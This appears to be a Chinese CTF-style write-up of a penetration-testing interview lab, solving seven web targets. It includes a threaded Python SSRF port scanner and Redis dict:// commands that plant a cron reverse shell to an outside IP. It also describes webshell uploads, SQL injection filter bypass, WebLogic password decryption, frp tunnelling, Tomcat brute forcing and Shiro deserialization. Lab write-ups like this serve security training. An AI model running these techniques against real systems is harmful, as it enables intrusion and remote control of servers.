这个面试靶场主要还是考的一些框架的漏洞,内网渗透,横向渗透等等,还是很符合如今真实项目能出现的一下漏洞!
nice! 又提升一遍利用的一些思路!!!!
Web1 Flag1
一眼ssrf
直接尝试file 协议读写/flag
meetsec-web1{flag1-6d5e5c2bb397ba7727b58df59b35f66a}
Flag2 提示说在第二台主机的mysql中
用dict 协议进行端口探测
这里我们写一个python脚本帮我们自动探测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 import requests import threading from concurrent.futures import ThreadPoolExecutor, as_completed import sys # 颜色常量,用于高亮显示 class Colors: RESET = "\033[0m" GREEN = "\033[92m" YELLOW = "\033[93m" RED = "\033[91m" BOLD = "\033[1m" TARGET = "http://119.45.177.120" HEADERS = { "Host": "119.45.177.120", "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer": "http://119.45.177.120/", "Connection": "keep-alive", } LAST_OCTETS = range(1, 256) PORTS = [3306, 6379] MAX_THREADS = 50 # 并发线程数 # 线程安全的计数器 class Counter: def __init__(self): self.count = 0 self.lock = threading.Lock() self.total = len(LAST_OCTETS) * len(PORTS) def increment(self): with self.lock: self.count += 1 return self.count def get_progress(self): with self.lock: return f"{self.count}/{self.total} ({self.count / self.total * 100:.1f}%)" def fetch(url): """发送请求并返回响应内容长度,出错时返回0""" try: response = requests.post( TARGET, headers=HEADERS, data={"url": url}, timeout=5 ) return len(response.content) except requests.RequestException: return 0 def scan_target(octet, port, baseline, counter): """扫描单个目标并返回结果(仅当长度超过基线时)""" ip = f"172.18.240.{octet}" url = f"dict://{ip}:{port}" length = fetch(url) # 更新进度 progress = counter.increment() # 仅在有变化时显示进度,避免过多输出 if progress % 10 == 0: sys.stdout.write(f"\r{Colors.YELLOW}扫描进度: {progress}{Colors.RESET}") sys.stdout.flush() # 只返回长度大于基线的结果 return (length, ip, port) if length > baseline else None def main(): print(f"{Colors.BOLD}获取基线响应长度...{Colors.RESET}") baseline = fetch("dict://172.18.240.254:65535") print(f"{Colors.BOLD}基线响应长度:{baseline}{Colors.RESET}") print(f"{Colors.BOLD}开始探测 ({len(LAST_OCTETS)}个IP,{len(PORTS)}个端口)...{Colors.RESET}\n") counter = Counter() results = [] # 使用线程池并发扫描 with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: # 创建所有任务 futures = [ executor.submit(scan_target, octet, port, baseline, counter) for octet in LAST_OCTETS for port in PORTS ] # 处理完成的任务 for future in as_completed(futures): result = future.result() if result: results.append(result) # 清除进度条 print("\r" + " " * 30 + "\r", end="") # 按响应长度排序并显示结果 for length, ip, port in sorted(results, key=lambda x: x[0], reverse=True): print(f"{Colors.GREEN}[+] 内网服务可能存在: {ip}:{port} 响应长度 = {length}{Colors.RESET}") if not results: print(f"{Colors.YELLOW}未发现响应长度超过基线的服务{Colors.RESET}") print(f"\n{Colors.BOLD}探测完成。{Colors.RESET}") if __name__ == "__main__": try: main() except KeyboardInterrupt: print(f"\n{Colors.RED}用户中断扫描{Colors.RESET}") sys.exit(0)
发现172.18.240.7:6379 可能存在redis 未授权访问
直接读flag
meetsec-web1{flag2-2b7cc5b73fe867cc83546583b858c8ab}
Flag3 提示在第二台主机的根目录下,那么我们考虑反弹shell,读取
1 2 3 4 5 6 7 8 9 dict://172.18.240.7:6379/flushall dict://172.18.240.7:6379/config set dir /var/spool/cron dict://172.18.240.7:6379/config set dbfilename root dict://172.18.240.7:6379/set x "\n* * * * * /bin/bash -i >& /dev/tcp/8.152.4.133/8888 0>&1\n" dict://172.18.240.7:6379/save
依次写入反弹shell
Web2 Flag1 访问页面,119.45.177.120:7001 并没有发现什么有用信息,查一查指纹
Weblogic框架,直接工具扫描
直接读取
Flag2 提示:在第二台主机的数据库中
打内存马进去
连接上之后,利用冰蝎自带的服务扫描,扫一下
扫描这三个网段
在进行服务扫描
发现
172.25.20.12 开放3306 存在mysql端口
利用frp进行内网穿透转发
上传改好的frpc.toml 到靶机
赋予 可执行权限
运行
发现在冰蝎执行,容易断掉,我们反弹shell进行执行
想到Weblogic可以用jdbc做数据源连接,找到数据库的账户与加密的密码
/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/JDBC_Data_Source-0-3407-jdbc.xml这个路径下密文
{AES}ZhArsOkXPBA9AvAwRxNxpK4G0WlHlpNFBZVsu+PDlYU=
密钥
执行命令 cat SerializedSystemIni.dat | base64 获取密钥
BNnQ4ugCIIdQsPqblVIj9ILs/o1Wl+QiTx2coQCBU/wdo4laQlBoGDGGuIqvgnI9KKgiD58oczjYxfmvNlHH5w==
Meetsec#1024
拿到数据库密码
然后直接去进行连接,刚刚我们已经做好了frp转发了
Flag3 说是 在第二台主机的根目录下
我们利用mysql 直接执行命令读取/Flag
导出查看
一眼base64编码
我们进行解码
拿到flag
这里也可以sqlmap 通过os-shell 拿shell 在读
Flag4 Flag4:在第三台主机的根目录下
我们上传fscan到服务器上,扫描3个网段
扫描172.26.30.0/24
扫描172.25.20.0/24
扫描172.16.10.0/24
3个网段全部扫描完,但是发现是后面题目的一些服务
172.26.30.1
这个网段全是后面题目的 一些端口,没看见利用的地方
Web3 Flag1
继续指纹识别
SpringBoot框架
尝试访问env环境
拿到flag
Flag2 提示在第二台主机的数据库内
119.45.177.120:13306
Mysql数据库
Dirsearch扫一下目录
扫到站点的/heapdump目录
拿到heapdump文件
用JDumpSpider 进行dump
拿到数据库密码MeetSec@2nd!2022 username:meetsec
meetsec-web3{flag2-9edbd4b03b5f86a9abe079bc63ea847b}
Web4
BEESCMS框架
扫描路径
发现后台登录路径 /admin
存在sql注入,调用 updatexml() 函数触发 XPath 解析错误泄露出数据库中的用户名和密码
然后注入出账号密码
他这里给了提示直接注入即可
sql:select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name=’admin’
发现有过滤,推测后端替换为空
双写绕过
账号:meetsec
密码:2446d54c2e68d221db9cff653b01a0e 感觉像md5 ,去解密下
login123
尝试登录
有上传图片接口,我们尝试修改上传我们的webshell
这里他只做了类型字段的检测,我们直接上传 bp改image/jpg即可绕过
然后我们,连接我们的shell
拿到flag
Web5 http://119.45.177.120:8081/
访问发现 tomcat中间件
我们直接进行弱密码爆破
抓包
众所周知 tomcat 密码 是base64
类型tomcat:tomcat 这样的形式进行的base64 加密
我们直接利用bp的自定义迭代工具来爆破
这里特别注意 =号别url编码
删除掉 ,不然会爆破不成功的
tomcat:qwe123
登录
剩下的就是上传war包拿shell了
这里我们换哥斯拉生成jsp马
上传吧
将生成的jsp压缩为 zip
然后改后缀名为war
上传
访问连接即可
拿到flag
Web6 又是http://119.45.177.120:6379/
一看就是redis服务
之前在web2内网也扫到这个了
利用工具进行rce
meetsec-web6{flag1-672728e3bde3f4cc2b59de572b4df6d6}
Web7
扫描指纹是Nacos
访问弱口令登录
Nacos: Nacos
然后访问第二台主机
发现关键字段
明白这里肯定打shiro 反序列化
我们去刚刚的后台的找找有没有key
很容易就发现了aes加密的key
利用工具打
拿下flag